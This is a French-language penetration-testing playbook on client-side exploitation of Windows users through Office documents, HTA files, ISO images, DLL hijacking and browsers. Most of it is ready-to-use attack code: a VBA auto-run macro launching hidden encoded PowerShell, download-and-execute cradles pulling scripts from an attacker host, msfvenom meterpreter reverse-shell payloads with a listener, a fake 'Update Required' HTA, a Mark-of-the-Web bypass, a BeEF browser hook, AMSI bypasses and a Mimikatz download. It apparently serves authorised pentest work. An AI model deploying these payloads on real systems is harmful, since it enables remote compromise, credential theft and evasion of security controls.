---
title: "Exploitation côté client — Browser & Office"
domain: security
subdomain: pentest
phase: 04-exploitation
type: playbook
tags: [client-side, browser, office, macro, hta, dll-hijacking, payload, msfvenom, pentest]
difficulty: intermediate
status: stable
updated: "2025-05-14"
---
## Macros Office (VBA)

```vba
' AutoOpen / Workbook_Open — exécuté à l'ouverture du document
Sub AutoOpen()
    Dim obj As Object
    Set obj = CreateObject("WScript.Shell")
    obj.Run "powershell -WindowStyle Hidden -EncodedCommand {{B64_PAYLOAD}}", 0, False
End Sub

' Workbook_Open pour les fichiers Excel (.xlsm)
Sub Workbook_Open()
    AutoOpen
End Sub
```

Encoder le payload PowerShell en Base64 :

```powershell
# Générer le payload encodé
$cmd = "IEX(New-Object Net.WebClient).DownloadString('http://{{LHOST}}/p.ps1')"
$encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($cmd))
Write-Output $encoded
# → coller la valeur dans {{B64_PAYLOAD}}
```

Générer directement avec msfvenom :

```bash
# Payload VBA prêt à coller dans un module Word/Excel
msfvenom -p windows/x64/meterpreter/reverse_https LHOST={{LHOST}} LPORT=443 -f vba

# Formats Office compatibles : .docm, .xlsm, .pptm
# Macro doit être dans un module standard (pas ThisDocument) pour éviter certains blocages
```

## HTA (HTML Application)

```html
<html>
<head><title>Update Required</title></head>
<body>
<script language="VBScript">
  Set shell = CreateObject("WScript.Shell")
  shell.Run "powershell -nop -w hidden -c IEX(IWR 'http://{{LHOST}}/p.ps1')", 0, True
  window.close
</script>
<p>Checking for updates...</p>
</body>
</html>
```

```bash
# Delivery HTA via lien email ou URL
mshta http://{{LHOST}}/shell.hta

# Générer avec msfvenom
msfvenom -p windows/x64/meterpreter/reverse_https LHOST={{LHOST}} LPORT=443 -f hta-psh -o shell.hta

# Héberger le fichier
python3 -m http.server 80
```

HTA s'exécute avec `mshta.exe` — un binaire Windows signé Microsoft, souvent en whitelist.

## ISO/IMG — Bypass Mark-of-the-Web

```bash
# Les fichiers extraits d'un ISO/IMG ne reçoivent pas la Zone.Identifier ADS
# → Windows ne bloque pas l'exécution, pas d'avertissement SmartScreen

# Structure du payload ISO :
# payload.iso/
# ├── payload.dll       ← DLL malveillante
# ├── launch.lnk        ← LNK qui exécute rundll32
# └── (optionnel) légitimes.pdf  ← document leurre

# LNK target :
# C:\Windows\System32\rundll32.exe .\payload.dll,DllMain

# Créer l'ISO (Linux)
mkisofs -o payload.iso -J -r /tmp/iso_content/

# Créer un fichier IMG (IMG = ISO sans le header ISO9660, monté pareil)
dd if=/dev/zero of=payload.img bs=1M count=10
mkfs.vfat payload.img
# mcopy les fichiers dans l'image
```

## DLL Hijacking

```bash
# Étape 1 : identifier les DLL manquantes avec Procmon (Windows)
# Filtre : Operation = NAME NOT FOUND, Path ends with .dll
# Chercher des applications dans des répertoires non-privilégiés

# Étape 2 : vérifier l'ordre de recherche DLL (DLL Search Order)
# 1. Répertoire de l'exécutable
# 2. C:\Windows\System32
# 3. C:\Windows\System
# 4. C:\Windows
# 5. Répertoires dans %PATH%

# Étape 3 : compiler la DLL malveillante
msfvenom -p windows/x64/meterpreter/reverse_https LHOST={{LHOST}} LPORT=443 \
  -f dll -o payload.dll

# DLL proxy — la DLL malveillante charge aussi la DLL légitime pour éviter les crashs
# Exemple avec msfvenom + DLL forwarding via DEF file

# Étape 4 : placer la DLL dans le répertoire de l'exécutable
# Si l'appli tourne en tant qu'admin ou service → élévation de privilèges
copy payload.dll "C:\Program Files\VulnerableApp\missing.dll"
```

Outils : **Robber**, **DLLSpy**, **hijacklibs.net** (base de données de DLL connues vulnérables)

## Browser exploits — BeEF

```bash
# Démarrer BeEF (Browser Exploitation Framework)
cd /usr/share/beef-xss
./beef

# Interface web : http://localhost:3000/ui/panel
# Credentials : beef / (voir /etc/beef-xss/config.yaml)

# Hook JavaScript — injecter via XSS ou MITM
<script src="http://{{LHOST}}:3000/hook.js"></script>

# Modules BeEF utiles :
# Network → Get Internal IP (WebRTC leak)
# Network → Port Scanner (scan interne via browser)
# Browser → Get Cookies
# Browser → Redirect Browser → URL de phishing
# Social Engineering → Fake Flash Update (download payload)
# Metasploit → Browser Autopwn (intégration MSF)
```

BeEF + XSS stocké = pivot réseau interne via le navigateur de la victime.

## Payload delivery — msfvenom

```bash
# EXE Windows 64-bit
msfvenom -p windows/x64/meterpreter/reverse_https LHOST={{LHOST}} LPORT=443 \
  -f exe -o payload.exe

# DLL Windows 64-bit
msfvenom -p windows/x64/meterpreter/reverse_https LHOST={{LHOST}} LPORT=443 \
  -f dll -o payload.dll

# Script PowerShell
msfvenom -p windows/x64/meterpreter/reverse_https LHOST={{LHOST}} LPORT=443 \
  -f ps1 -o payload.ps1

# HTA (HTML Application)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST={{LHOST}} LPORT=443 \
  -f hta-psh -o payload.hta

# Raw shellcode (à injecter dans un loader custom)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST={{LHOST}} LPORT=443 \
  -f raw -o shellcode.bin

# Listener correspondant
msfconsole -q -x "use exploit/multi/handler; \
  set payload windows/x64/meterpreter/reverse_https; \
  set LHOST {{LHOST}}; set LPORT 443; exploit -j"
```

## AMSI Bypass (PowerShell)

```powershell
# Patch AMSI en mémoire — désactive la détection pour la session PS courante
# Plusieurs variantes existent (les signatures AV évoluent rapidement)

# Variante 1 — reflection
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Variante 2 — patch du byte de retour d'AmsiScanBuffer
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiSession','NonPublic,Static')
$b.SetValue($null,$null)

# Vérifier si AMSI est bypassé
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').GetValue($null)
# → doit retourner True

# Après bypass — charger un script normalement détecté
IEX(New-Object Net.WebClient).DownloadString("http://{{LHOST}}/Invoke-Mimikatz.ps1")
```

<Tip>
Les fichiers ISO et les containers VHDX sont devenus les vecteurs d'infection les plus courants depuis que Microsoft a durci les macros Office (2022 — blocage des macros dans les fichiers téléchargés d'Internet). Ils contournent la Mark-of-the-Web car les fichiers montés depuis un volume virtuel n'héritent pas de la Zone.Identifier. Microsoft a depuis annoncé des restrictions supplémentaires sur les ISO — surveiller les évolutions de la politique SmartScreen.
</Tip>
